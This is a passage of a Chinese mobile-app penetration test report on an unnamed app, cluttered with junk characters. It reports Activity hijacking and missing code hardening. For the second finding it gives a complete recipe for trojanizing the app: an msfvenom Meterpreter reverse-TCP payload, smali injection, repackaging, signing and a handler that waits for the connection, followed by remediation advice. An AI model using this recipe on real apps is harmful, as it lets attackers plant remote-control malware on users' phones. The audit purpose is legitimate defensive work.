2 c+ i; ^2 i0 t, x* u7 {! N: C& f' n$ w' u. s
; i8 a5 ~1 M, w" M) w
" }0 }! f3 o$ U3 q7 l
表1-2 测试结果 6 b) k6 z! P( c
8 t: ?2 `! Y9 [$ p7 }
5 ~2 s# Z" P& M! |3 }; t. J/ i. E d) o( A; C- z: t
! c. U6 h/ F2 {* R& R3 Z8 N) h; h2 ~
+ z* |0 [1 k" s# N
/ F( J6 @ y$ l
9 @$ C: a$ x9 R" p% X1 B- ?) [8 Y- i5 j, s' M
3 c$ F! p2 X) [8 [* X6 Z
! h# s; h! J/ A' s 2 检测结果 0 A7 U: y" H0 x5 [3 u, b: ]
+ A9 Q2 U: B' z( o5 ^+ O
$ r2 v3 S7 D \5 l% [+ P4 q7 [1 }2 A, s2 V
2 I1 E' w e, n/ O5 U( r4 L
: ]& I$ ?2 R$ \$ s! W% N( p 2.1 某某某
( F* X9 a' N: _% @5 p
, v/ `4 c: ? D. d. [4 G: z
: o0 B8 I/ r0 y( A# k& I% @5 L
0 N5 g' w0 j% W$ y6 v
7 [0 I- ]3 H8 C5 |: R
' n- q7 u" s% {# s; f' ^ 2.1.1检测目标 , ^9 {3 h) L& p& \
& o6 V4 _5 J' R( |; q. g
5 G5 z' A( i' L
; c5 a. p: s, t6 e Q
; G& h6 }" V$ ?1 i( ]& D2 t
2 ^9 \2 B4 f# T2 O4 j 目标地址: 某某某某某某APP
3 {1 [! z m2 ^3 P' L+ j0 [; o: q1 m; F9 d b5 V7 O" q8 b/ W
; n7 I/ G$ R% s
- q2 w1 C/ y9 ^, \. v 5 a$ h$ o$ N7 R& b7 E# \3 V
( ?8 l' b3 C8 e4 Y; J F: i 2.1.2检测结果 q% y4 d; N% u0 O5 l) B5 ^9 J
$ K6 `- I1 Y* U/ C
( _" }( N$ W0 I8 c: @5 M* v9 y# y) ?2 {' ~. g3 ~
: ^, K) Q' e! F" b) C1 F/ T4 b3 q+ b1 b" I: b. ~* v
2.1.2.1 , F- |! C/ e" T3 ]! i
4 @( w' v; {& u6 O5 }6 M9 x% `. M
, c6 Q' b8 u6 L% D
" P7 w" ^ m- x; R. ]3 l
0 A5 k# j5 b$ e) z( y2 {! \# `
( ]5 m* p7 `# M* c9 X0 h 漏洞链接地址:某某某某某某APP
: `: e' v# X' |' U3 F* E' {( o
3 m! p3 F5 H# L5 ]
1 J, Q$ ]8 f7 w) B% e
; k: F6 Z7 B4 N. L 0 d1 b( w3 L- v* v% c
% j0 w: v* [! A' T) _9 [- n : k( i- w& J9 j0 X$ u' H
2 a6 A I8 a9 K* r8 a$ b+ N
2 _3 |" \( Y+ p @
. z) J2 k2 E+ {3 M
5 z8 l& r W l7 D9 U4 I0 }! r
* M8 d/ n+ a/ E0 r7 T: D5 P
漏洞分析及取证: ! a) J- P: G( U) `; _, H. b
8 w s! T" D( M+ A
) Q4 \2 W- R. W: ]9 w3 E
1 U, s* x# H! B4 `5 d
1 P; N, ]" k" [; n2 |: O( n) k
5 U/ m* \, ^" f/ L( |8 d! Y ^# A 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
! p/ G" p: _6 A( _" O
5 ]( I+ P. t: j* ]* {9 N$ z" M
) ^# a7 y% _2 h& {" [8 R
9 Z/ {/ B, @/ H4 v4 c5 |8 e
" i9 x, l5 K: @7 o
. d0 q5 c: o' G! w5 f% S7 J' |
. ^/ u9 u7 B' M( H+ B$ ]0 p
H/ n" ~+ F' r! ~7 s' L& Q/ Z' E0 k
% W6 Z5 j" t: U. N. Z \
/ C O5 s4 U6 i- x A) f
' c' o8 l. f1 z3 t/ {( [7 f9 G/ G( K; i
; r L& @6 Y6 I. v8 A) ]& L3 P8 P5 J2 b9 f
" _# ~+ |( |5 d) F+ t# `6 g! w. t. J' X
( M5 R) x& |$ n. ^6 C: s! ^- L# ]8 }' E3 D- k( s M
2 }* n$ ~2 \# ~4 p; _: u
5 S% o( N. _- `. ~2 ]0 ]0 N5 C
$ q3 G# R5 d: d1 D7 `- R4 A5 x' J' p' k( P/ k8 e0 _. @
8 X6 e/ U. k, Q5 u
# c( G2 Z* A' l/ ~$ F
9 V$ q. I) N0 x' m' Y
7 {8 V% p* n* n6 ]) h, ^
$ q% S( O D" h/ Y: E
3 e3 B' r O( S: G: _6 l
2 R: Z5 d0 z! k
: \' G) }& V( z7 c, Q) V
! d& h7 j1 y. \
0 H% [# D2 j. ~; t7 s1 i5 s
T; q' C0 O) L
) D5 c: L2 C2 h3 w& P) ?9 a' O/ O
$ X& x/ |. m1 W( O" V
1 O" V4 d4 ~" r& l 漏洞危害:高 ) P' W. I( a# w& c- |% z4 o3 F
2 D, [# r/ s7 U8 ^: W5 B" ~! o
5 {# W4 ]; f3 I+ U- u6 F( _; _6 }, [8 x! N
( n2 ?7 w( y. m; V2 K/ x9 Y% r, h* K+ _" k. V# n5 H
# E) p5 W0 b/ W
/ p( ~6 u3 q# S % x; z2 z2 [& |! ]- C/ E! A7 K0 O
8 f# p# f6 v8 M& C, c& ~5 X8 N
( _( f. |3 n1 W9 O2 v1 ^2 `- ^) f: Z! |
# X H9 N+ h: q9 V! y1 c( k
/ S/ u+ @# Y+ e$ Y5 }. y' v; o% o
; ], X5 I) q' G6 h% P4 ` N! a
) V! ` G, s6 a& g5 z 严重程度
/ l: @- ]% F0 g* H3 J
6 d, K0 N5 S: F3 j! A , s. J$ t; I8 G$ w0 v, [" L& s
( }4 ^0 H3 h2 z: I* A' j, F | ) P, ~( ?# C, l
5 n r% g6 t3 k' I+ Y) u # Y# C3 u* c) `9 a
; }+ `2 K0 g7 J! ] & X/ b( W/ B7 J4 C" d, W, m
+ P6 g1 P6 x+ I' V/ u 高 8 W+ H3 B& U5 K% D
1 e2 N- y5 u$ Y, g+ ~: x1 q
; q; M* @' |) Q% h7 l; I! p
7 ^4 V( ]( x5 a |
, b8 y. e/ }9 e$ k1 ~# r* u7 G* Z, T+ S, Q$ w5 X/ N
8 M# {( L7 U: v, a8 J
* w, ]$ a8 K {( m+ Z+ `+ G; c 0 `+ l) G8 `) |/ L
' `8 A1 _. |8 C9 G, a3 K! v- y
■ ; k1 R! U9 L, {8 u+ k, S v* E
* d0 m& P; w+ { J( m4 y 7 G8 @; g( L6 |& a0 H
+ E' T; y9 f3 P" C( b
|
5 _& K" s) b, h/ n0 _
" X& h! [7 D7 b# | A7 c ^ . \, C* ^% s) i2 E
% w! T) t- S) Z1 I: ]# l % G# _( S* p3 k$ Y8 R
! s# p1 ?9 T) e
中 : g6 x5 A! K6 J
. U9 `% H% T, o2 d( G2 N
( T# l2 n0 o$ ?, ]" Q4 C- z" G% f! c. q0 w6 [$ u9 o
|
$ H, s, c4 N+ {3 ]* ]1 R2 j% Z) S% Z6 U0 r* g
" T) r- D- m0 T8 a- ^( Z7 a' a5 B+ G
. t! |; r7 V2 \. G% s; y
3 e/ c1 D- _, x. } f& p4 Z4 d" }: m
u7 B* q/ x' K. ]- t
6 x8 h; E+ k# G# s8 g P5 H& H* }. ?7 U$ c7 ^& h
1 _7 F+ ^3 r1 `- w% `& Y |
0 m& k( `' p0 W9 v9 S) w0 u) K% ^; e8 S
5 O8 J Y Z) E" i$ Y8 N
% ]0 a$ o5 |" H2 p0 t % {5 t2 C7 m) A0 {; e! y1 i
; V' R+ H4 ~1 V& G0 g 低 5 K; }, _9 O3 L% A, S. G2 G
" j$ ~( ^ i" L+ }: c- k- {
1 g3 s6 H! X! A' X
+ a8 y/ @( y9 @4 [5 B
| 8 z0 R: E. m7 a; G, k$ {7 o
: V1 E5 H- l1 K1 ^7 V) a( `
4 N3 B; ?, [( D2 N4 H' @( V1 y/ ?7 c A" j; L, N+ \8 q
+ r5 P2 r, d# t5 r4 _* z0 d
+ b) k$ }) O# s1 z+ W
: a/ [3 F" t; q* I+ S. i( c! x1 q/ \2 A/ U
+ K8 `3 H1 y r- l8 U0 E4 g# r6 I$ W$ P. N3 [
|
( K3 H9 m, x0 h# T- L: P) P0 Z0 G9 W( `! D. A" ^) E5 m
) o# ]5 u1 Y6 |7 ?6 T# y+ r9 I
7 Z! z6 e1 S& X& C
4 j0 h- `6 z! z
' `. X% Y1 T9 ~7 V+ ]1 D) ^9 r
$ F2 B1 g- I9 x3 n( x! @
$ p5 O# e2 x& e, b/ K2 r5 {* g: x
; ~& F* H3 @- M3 s1 p. A/ q
0 |/ m; V$ P- _& J! K
& S. n' \& Q/ @9 c1 Q% e/ F
0 I/ g4 G: M, Z A# k9 Y / A+ J4 Y/ z: C
) u. B4 ]: t$ k6 T! w# Q
0 u6 D9 D0 j4 V
; A; g/ ]0 ^/ B, ~2 }# j
, H. m% P# k" Q" A: ^( R9 u9 U7 y4 T, s- B0 d9 d/ v
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 Y* K3 B E$ ^) C
$ r+ Q2 L& Y, P$ a( L
8 a5 O2 e' |8 j \4 i" f
6 l5 \4 Q, y M" N0 L* o ' K c8 d& H. T' l
# ]$ Q3 I% m: Z f
: C1 ], O0 X$ l; h9 l0 W, y0 w
* [/ |- i: |/ l
" g0 {5 |- ]2 a; a7 y
/ Z) f: [9 \1 f# d9 q$ r
9 F+ R0 e9 ?4 D! Y; H! ^* o
& v) f a7 F1 Z5 G& }/ x- m
$ ]+ u; j/ E+ h4 c0 v2 m+ g. c. G% t7 P+ `$ ~+ p
! X3 x5 Y& x6 I+ ^9 A& s7 D0 H# `& o8 V* C8 P$ Z( U+ I) Y( w
* v h/ _/ k3 ?/ S% b
) s1 c: z+ F! F1 M$ |# n6 L+ X1 { 2.1.2.2 3 p L& L; C: w q
& B d6 U; Z, Q% \
- W2 z2 G g( y- m- Z; q! Y2 C2 L9 Y) r3 g" Q0 e6 Y
8 s( M" X* [ |
8 k8 e" M. j/ Z( r6 s& Q 漏洞链接地址:某某某某某某APP / ~% E, H* s4 Q1 {* [. I3 S
' P# q! y! P( s' f
# g/ t1 k, m$ q; u1 n
1 p- P* P* t! ?+ b6 n! f; a7 T
* M0 h2 z# y7 r% E5 I1 m9 Y e( w
% s+ v" d) X- U1 p; ?2 H 漏洞分析及取证:
! N+ f6 p# O4 P" V! k! m
; U7 ]( O* l/ A' t' U
1 z1 y5 A( t8 p: }6 v8 P1 J4 A( \, M
( Z% @1 \, r9 j( F8 U) X9 } ! U: G( j/ k7 u/ r7 a+ k5 e
]; x) S( W' U. }+ [
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 0 I' _+ _% h2 Y1 b0 x! v
4 K9 v" r) p$ K7 i4 u3 I
8 ~ [% X4 j% P- r
' C: C" t4 F; d! c# i' ?5 _" Q7 C
( b% V$ N& f5 [- d7 P3 [
L- Z* d# r V9 q 用Metasploit 生成木马 apk
# u+ z6 p) ]4 z6 k8 o; V
$ b3 [1 W6 F Q9 Z5 W
( [! d0 E+ h4 q c2 ?8 [( k. j
0 x/ F2 D' f9 a) P
8 `* |: L1 W; w5 F
' \2 e3 y4 V( i e msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 3 a4 B- @, ^) b: ?( |
; |1 {2 W5 K- t) q% I& q2 i7 b
% u6 G' _+ J- N; u- Z1 f7 A# ^% f% w# J$ L( S1 |8 ~! c* p5 a/ h( m
8 [) U7 |. T S
* o# l3 F6 B8 @" O9 w4 ^4 E6 Q( [( A, ^8 o 反编译目标apk和木马apk 6 L6 ?6 W- g9 n6 b* O5 T" |
! t' h; C! i& C3 X
6 {# w7 k2 J8 }" Z2 o- H: H) A$ d- r" Z* C
8 k8 K6 M$ \. [6 U/ `
$ l; Z% o0 Z6 l, k8 { R: Z3 Y
apktool d target.apk
* `% o$ L' _$ T8 P# d' K- ~- D
+ c9 t$ p# m: R p2 S1 Z
apktool d cockhorse.apk
7 n1 F. x: @) o8 w9 \2 w- p, A' n; y& Y" P* C
9 l& ^2 r3 T' C5 J; m6 H3 m
: _9 p9 n5 _2 {* H
. ]# h6 j; w' N$ {" d8 X
- w# g1 E/ S9 L' x7 q6 [- s 木马 apk 注入目标 apk 5 \/ a4 }" r4 a) c2 O2 v; M
& e! C' Q6 b, V- A
: i: o( ]5 }$ ]5 }
9 G1 m8 q* t+ }. _& T |7 ^' X. z; T, j4 ?
# k6 Z7 R* V( E" ]3 z
/ Q5 H) q/ B. d1 l! W
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 q6 v% s( U; X/ I/ s" _
% g) m3 h8 M1 L5 T/ J
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V , C& ~+ k; S- ]$ e% s$ W
- o; F2 F$ W' |
( q2 S# b7 }( s- @0 c0 J0 B& j% b" y% m4 _' ]( D9 H
" K Y" n' Y" m- V
' b* Q9 h" m! o8 ~ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 + o% f$ r( m: w1 K: {/ V8 o
, l: ?' s! ~8 U4 Q
: d8 o! G) }, a' W0 b: j
! J" ?6 |( v4 }2 A/ M g2 {$ Z! }! L
# [$ ^- e3 |) X% r% G% {0 f/ s. B5 J# S! x
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 9 ~- Y4 p+ S; G
# M, r5 e+ N6 `' k; j. e( A
6 g9 n8 J7 q. V% x6 y9 y- \$ J
* f1 e& ~: J( @$ Q" A8 c % T$ `% X8 \8 C
, i3 L) r$ z' O6 X" T* G 回编译生成最终 apk
7 D8 j4 m! w! N3 X- f( ~5 n/ f5 x0 L% }% d$ M# g% b& q
' Y/ o! q% f8 _8 x' M# `7 I5 a
3 h1 u3 g) v4 D( w& x+ D9 |
# r8 \& C A) D
( S( E' `; t( P% E
重新打包
. G7 ?! i% z/ ~3 r; J+ r* ]6 L" q& N4 o( l
/ J0 M4 }" X+ x f) W' i0 G
( E o* h0 N4 _8 z% C) A' _$ g- ~
' n7 t3 u% O& g/ o( U, k( j( a7 k& ]7 z4 J, W# ]+ O7 Z! d6 U
apktool b -o repackage.apk target_app_floder
3 S" \) M" P- Q+ b' z
' h2 x6 O% D) M% {/ B
% E" m: |/ W* K# r
9 `( z- x" F+ o9 U8 X* `! |8 O
8 r# n% x; g% k2 g; @) D" X0 L% _9 R" F3 |- }) J; Y- F4 G
创建签名文件,有的话可忽略此步骤
: @3 b% u+ ^4 s7 T+ h4 a0 Q6 B' B/ _$ y' K/ P3 e2 S2 {3 j% U/ B
- e* s) j: {! x m
: y' N/ r6 y- j! ]/ m * Q0 R! A: s/ ^6 v8 o. L0 n% P
, o( X# ?% q$ u4 ^4 X
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 * O- u1 X4 ]% B8 G
( V7 H3 D2 Q5 n8 H. E
6 \4 d2 s& i( z$ O" W" {
, O" ^% d6 [- r: V4 ^4 m+ j6 t$ Z, ^8 P/ N
/ ^& Y# R# j3 O+ [
& j }' j3 x( ?0 G$ n
签名,以下任选其一
/ q* ?2 H" }; f' A8 X) @: p, T# M* d+ V/ f$ B3 _( X/ b
: a9 D9 I4 p* Z1 m' L0 e4 r3 d
+ ~! L9 M) G( i/ |& l1 R
8 L7 l- M" C8 t3 L: X7 W: i
4 F; s8 y: d7 F jarsigner 方式
* @, D( B3 |! d) _
9 x" l- ]0 G, @. j
1 a& Z! P- Z! v8 G+ T6 J( X$ d% @
5 `" ^3 s3 {% ?$ _2 [1 C 4 z/ p; d9 j# [0 y# Q8 K0 [ j
4 J! V$ d# x& v
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 8 f' V$ a. E: O6 ]/ F
( }, e* `4 `4 E3 y
. l1 N$ i5 X0 }* v2 p0 J9 x: q! x+ _/ w; X# P7 l
' I3 D1 V5 G0 W7 l N- r4 \. W2 Z4 G2 g! W- J* J4 p7 A
apksigner 方式
! c# E. D* }5 q
% j- C; B5 V0 e* c3 a
6 x3 y& p( ~) l+ V
) _& h. C" O) k) v' l: l* U- D& P
9 i6 j7 Z2 i4 n6 Y5 R, @; f% z8 p5 i8 ]( G. O" p4 W" T+ p
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
* |4 H7 ~+ O6 L0 A- u- @' ^# A0 ?' \* \2 }: y9 v1 B
4 M) v! H5 M0 a2 i% X: p
% w& c1 j O2 ^/ N
1 s) P! N3 e, ~( L
; l% A" o5 @5 k" M. S8 Q8 W; @
如需要禁用 v2签名 添加选项--v2-signing-enabled false
, n- P/ R; N% d* y) n( T0 Y2 \8 z+ r6 D- m0 |2 _4 e" K% x" V+ r
; h6 x6 K8 u( t6 i/ @' _7 ^! k" [
! H1 h7 ?* ]: D8 O) |7 }8 X
$ r- L. [$ h0 j; s
验证,以下任选其一 # K1 [ m; {! e1 ^0 `
7 o( g) @ C# p. h* D3 _& E
# E) Z3 }' e9 h( _. W; M7 d; `; E* h; p. m+ n2 S+ g" H% @
; B" \& H6 C' m8 F$ j8 r5 V5 a* o) H: L5 H- x: q
jarsigner方式
& _$ Q+ s- b. l0 i$ v9 w2 g2 w* [) b: U/ n9 p3 {" {# z
7 Y- Z$ \$ @/ L, y! z0 w/ W: Z( Y. r; i! u
V8 C8 D+ v) K. X- ^; C3 E O; b# I- R
jarsigner -verify repackaged.apk + ^& X) R1 [1 b% Y
6 p& D" m1 p$ `3 S1 `& l2 N5 o: }, l
# W7 |* T$ Z+ l( w; o( q" U; v) s2 S3 t1 W0 B+ c# P% W5 D4 U+ M
/ L: p) r9 F* I$ I, h# B4 v" h4 ^( d- j$ I
apksigner 方式 g3 S: z- i# G/ B/ G# E1 u9 }
9 X/ E8 A; M3 H x! `' [
( u; u c( x4 u5 M2 \' L/ Q
0 [! [- i: `" R+ g
; J8 N: E. r0 i% E) ~/ ]
( E9 O8 s( X2 o apksigner verify -v --print-certs repackaged.apk
4 @/ y) `$ y$ p$ N& t
' h j1 o; R$ u( \1 m
) l& g# c' @7 x1 H0 s
& T- b# d2 N" z6 Q. |
# F% v" K. L& H7 t: P
- R' @! b( x' g; k8 M5 a keytool方式 * z1 p. }8 Z, v- z) l9 i6 X
9 o4 c8 l# D' u- f
9 L& T! F0 I( a9 s+ {* Y# f% ~
% z5 a7 x' x$ p; }. y2 @. I* [2 Y& }3 w. Q, _' U
keytool -printcert -jarfile repackaged.apk
m6 F6 A( X) M$ L8 ]
' b: e) @, O% \" J# ?' C! j
3 I2 m9 K0 t) k" A0 t0 G) I+ {
, O, H, J8 K* Q2 y/ e" _% x
# o; s4 K8 C* w, N3 s7 Z- p/ g. `" J; l) J( F# L: O+ F
对齐 9 V+ R: H% R& A9 m) h
# z3 A( j6 T2 Z e0 B7 r, I2 ^/ T
2 m* b; l8 v" K1 d; K; x3 j8 u2 K" I8 d; S/ x, ^" p" k5 e
6 s* u) X, v+ _: P4 V5 Q, U# ?6 R+ G# u7 ~3 Y; D& ` \3 R" ?
字节对齐优化 ! ?2 Y0 j G$ k/ s X
# B8 X5 Q: B/ f# l( p7 R
( p( P1 U. E% n
. x T/ b h" G, V/ i/ K% F
4 v+ b! }6 Q7 B) r0 ]8 i) d; q0 @1 R* e2 c
zipalign -v 4 repackaged.apk final.apk ' d4 m5 k# U) {7 K+ j
2 {* I! m( ` d: ]& Y4 g
4 u: F9 f# v) Y4 s* Y( a3 I4 U
) Q8 P& C& ]: {" B , l# a- y! @: u
% x& X9 K n/ G7 \8 Y* l
检查是否对齐 ) h$ P4 ^% n$ B& t
" Z* s. G ]$ `, J B1 _" Y0 H0 m+ u
7 D! _& c* r1 W# ?( f
" n4 _7 v0 g/ G P8 \( M
q- B+ p1 T$ y) k' }8 S
0 r& y, f( g# I0 f0 m$ a8 V zipalign -c -v 4 final.apk
7 o. S0 s( E. {9 b; }* Y! L
# A9 t+ x4 U& X* X! t$ w
2 E6 V6 s7 {# r7 p* p4 X; } b0 y- v
9 X4 ]" q4 o8 f" _) ~
% J5 e9 e: n% Y, y3 o) ^9 F5 G" l8 K9 v! k! x
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ( y% \' O& D% Q% l. C
8 F" b8 f+ M: y1 b
& Z1 p1 H) n! D: L" x D# h1 J ~. q2 v
& k6 {0 {# A. N# a h5 z
. `% M( Y! x) @* v2 [5 e- X/ T8 P& u8 r. J. I. }
启动Metasploit控制台,配置参数等待上线 ( [" S( k$ U& W2 W" |: p# d
7 R4 W8 v ?6 u/ G5 w/ c, Y4 x
, u6 ~( P5 G' }% K( P, y% r+ _/ {' c3 q6 Z$ z- ?! F, S* Z/ I2 Q
( j) d0 i. Y3 y3 l6 S, S' w
- u6 F, W- m* L0 \ b3 E3 j3 q
在终端依次输入如下命令 ! H2 Y6 D9 d" R
: _2 h' U! F4 Q6 T4 I2 E
7 I. E2 G3 `2 u" z& F" a9 S. m" e ^2 o& e6 c, W" H4 Y+ a, L
5 u# Q5 i% i; X$ {& e1 v
0 \! r7 S2 L7 E8 c msfconsole
- x; E9 f5 v( B1 E* }1 ?3 d- Z ]- x }) l
9 \; ]* J* f6 \
3 X9 D N# m2 e8 K5 T: p* W 0 A+ c! [5 G# H9 G
: y1 E6 D( J3 j" q0 c+ m& |- x' v use exploit/multi/handler
0 {. i; i! S" ?
* Z+ o7 T& l# m ~1 \
1 f2 K$ ~( G, D7 Y1 {) F* C
+ R) Z5 l8 B7 m & j+ K2 }$ b n& G: W
. E" Z" |. R! J' A6 e8 V
set PAYLOAD android/meterpreter/reverse_tcp
( E! ]# x3 h2 [; i- B% c8 L7 | F# b7 V/ i
+ H( s0 q: c9 V2 v7 B" [
$ i! }# y* h6 o- _( I4 X
8 r/ D7 c2 W) X0 J9 \( R$ G3 q7 ^1 n# `5 x3 |& C) ^
set LHOST 192.xxx.xx.xx + B4 G, o6 ~. J
1 x+ |$ |% x/ Q, p5 s
! H5 x3 [4 v0 w6 ~4 x. ~
/ {% i. Z3 @2 A% x! f6 |9 N2 W n9 l% A 9 L1 Q, a- X) t6 D0 s4 c; G
7 k9 l+ k3 \9 a5 Y1 n! O; i6 s set LPORT 4444 & S0 I( C ], O9 o8 M7 b
# h: u( D0 ~6 M" H. `" z, J
! O g: n, u. K1 Q( ~ C6 [
5 l# D: b% e0 z* } 4 T( d7 g# z5 a7 L% n7 `: e
5 l& N( F$ F2 f# O/ y% n0 n exploit + p8 p' }/ W, Y4 F0 A( Y; i
) b {2 K& M/ `; N; v, U2 i
. }; a+ p4 o3 m+ r
/ h1 R2 P6 k9 V$ x; e# m8 [- z+ n% F
( M( b1 E- J+ j9 l. a I" N" H$ `3 A" g( w5 w. b" \/ s8 Q/ a
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
* R7 o& K8 M2 K, [# ?" m& G: \& O5 ^; O, X% S) x- Q
$ P4 s# G" L% e$ r
) E+ x! A9 L5 \* g
" W# P' a9 \) C0 B
/ ]3 v: ]2 s. N, V% L 漏洞危害:中 ( e# `! g+ G) Y u& P- R" I
; }( g9 q7 a1 u+ D
# g6 P, }* J f8 X4 @
9 `6 b, D& l+ R9 {* j5 |& D
0 Q# Y& O- a- ~9 a6 g* }0 D8 ~* p) @6 S
* K( H6 i" x5 c3 e& q4 H6 A, s; s- o) C( P1 J
, @( r* W7 \& S' B- |6 V/ M% }8 t( b4 w
1 R" l& W/ v4 r& m; p0 ^
8 V' A5 Z6 ]& }$ x, X+ M
8 v: b9 f! r6 b6 h$ g5 A3 D
0 |7 v, o- u/ k0 R* \' A' }/ Z - X' t; Q0 v: A
9 v4 ? Y2 S& Q2 V D2 M( f; f9 H
8 Y8 N$ ]( O* m: H/ f( I! k9 B, n1 B1 e( @
严重程度
7 r+ `1 _8 o' ~- S) b$ J3 B5 I" V+ ?9 A& E U3 B" u$ U4 K
# r3 U) E* |( G8 \& @2 }9 P. B5 E! Z# ?; c- P% m* l: f$ H
| / f2 f" b( L3 H3 t# w8 \$ B
( | ~* ]- X5 u$ W3 N2 D
* l/ K' u) E8 a/ z, `# A: J. J
2 j5 c9 b7 j8 U2 N# d# l* @
+ i, X( K* x/ V2 {% g3 l; t4 J [ @* {' M; ]$ y" f
高
! U4 A6 \7 s- ~5 B1 a# z: d' P$ J% [/ Q: V& V9 S
! N! D/ c" w% e* z3 I9 ^
% z4 f5 T$ x9 Z6 \3 S& b | & `9 a( S- P1 Z1 B7 b
' r0 {3 T# \- k: W8 T
; ?5 z% v! s& j9 K' q3 w* ]
( w+ {1 e+ g: w
) |' }- l7 c$ T T* ?5 l
4 D) e5 k9 n( K9 x/ t$ | ■
- u4 |1 x5 ~" b4 V
# \. \1 O; _- O% H7 v7 ?$ ?
$ v. ~( l: w- {+ _' ]" \* J
! B$ U) N5 g X' U | 5 d% t- x. ~( h2 U4 `7 @
; J0 ^% A: i3 Y1 H5 }0 \ 6 M" R5 [- T7 q( u
1 x* d$ q4 } U! Y& u! c9 n2 j% [ 5 \ c/ l( {' M, k3 A
) ], D. _+ D8 I5 C$ k4 _ 中
" w' W* u9 v- ?5 [9 C2 m R' V9 r! ~; T; q
9 D' e0 X$ a! D, V1 s* w$ t! {
$ a) _6 c6 D$ t8 ~: l# l | 0 ?! ~" z% J7 {& h" g3 r
9 I9 A' g2 S4 @8 p6 g
# A0 |$ g+ g1 H# |
+ J# E& Z5 k8 c5 f+ g, T: Q5 s( Z& s1 n & d5 a; x2 v: L J" v3 \! [
1 i' G( `1 J* G' f 9 p1 x2 N! o" P8 p8 s8 R
( [& m& Z A# l+ i9 e
2 s) Q0 Q/ K0 a3 K w' O4 T
5 \* f/ y8 z ]8 ~; V# k; v! B; Q 9 S) i6 T: o2 ^6 z
) w2 l( }0 y0 V8 G! ~. P |
) X3 ]: L3 R3 d) g/ P. \* H
" Q _6 V) M4 X ) h& j; t: M- M4 u* l) i
- n+ t- q2 \0 ?
% ?! x7 K R7 T9 z, B" a9 F
- Z2 x0 L: ^, Z) T 低 # L; U2 n$ n( y+ M: U, O! O: P8 H
' i7 k) a/ u: T7 \! ]! N ; p! t$ E# a5 o( h( s1 T
9 n' Z S9 A$ @
|
& t( h* K2 @* I9 Q, A' {! h! J' I2 {$ h' |' q9 M' B
6 Y% L1 U& h! c' {4 C6 a. v/ J0 k- N' [ A
8 h* @; k7 m& U: Q6 {
R( {# {6 Q0 O% ~" J; \, @
6 ^1 x" C6 @5 W& Y9 }+ i; v+ b5 f6 k6 d1 j2 P0 T+ X
! U- [- W" N, v# H/ X
9 L, h- f* B9 }! }" S% \ & W& D* ?8 I: M- H( O! {% N+ ~) b
+ w+ a0 t7 N* |" B% Z6 e
| / }4 \0 N) k* y7 ^8 i) f. e) e
/ C4 v" Z# [4 y6 Y0 F/ @
% e3 v# I! k9 |) e: c3 u, x
4 a4 H4 b7 o+ m * X: _) ], m. b$ Y( G
" K7 e3 M: ^5 x* V/ v
2 a7 Y" N- }* \4 B1 L5 X5 D! Q1 f
% E7 [7 l; O, h a C8 E# l* C: Y! _, y9 m# L
4 L9 ~" Z+ s; |; O: R# X y5 a
8 R- k9 j' p4 S$ _' H! Y( b
% {, V) I: d K) M1 y
' z& s' W( s0 k/ G
2 Y z9 r/ ~7 L
- a' g6 [4 S- l8 F ; n Z! ?* S. U+ I% P
5 Z- G# R% J/ ]6 v7 y( q 修复方法: 2 c9 D7 M; y) B* f: i
2 N/ I) l0 n) G' r. d
; |' B8 j {9 M" i% v! e% p* l7 u1 D [2 B, T
( H2 P: s; r9 h& H3 Q( D
% k/ d* v' s" l4 w; O# P1 H 1.在 APP 启动时应做签名校验防止二次打包。
2 D% o2 `. x8 o+ m$ |' U0 q3 a% v- p1 y6 L
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
% r( r |( f$ Y+ V6 \4 x! }6 r3 I) F! i7 K% J5 n6 e- }: e
% l* d+ J3 l) L2 G' E. j
$ l, D& D$ k1 ~5 C+ `: O+ Q8 R
( P5 U: Z4 R2 l' U8 c: J8 W. N' S7 l$ V. K7 a
7 v5 @& h" A1 k* T, r
6 B7 O7 d6 o! d- F8 `- T8 l' y: e
2 D g% T# O' J. a7 s2 |: i, g# e9 j5 F
. W: r0 [5 j7 x: ]* }, S0 m
5 U; T: V. O/ f/ |' V \. `
; M) J# n, _* Q- T" G
' _' C2 {; J! r! y
) U) B& o* S% e* M. @+ V- {; h% |7 S& A! i
: t, |! w# a. v' W& d- J) F7 y9 G( X7 u/ {% ~, `
( c, x: f7 a; U$ _3 D7 ~
& D9 d d1 Q2 ]1 L& [% Y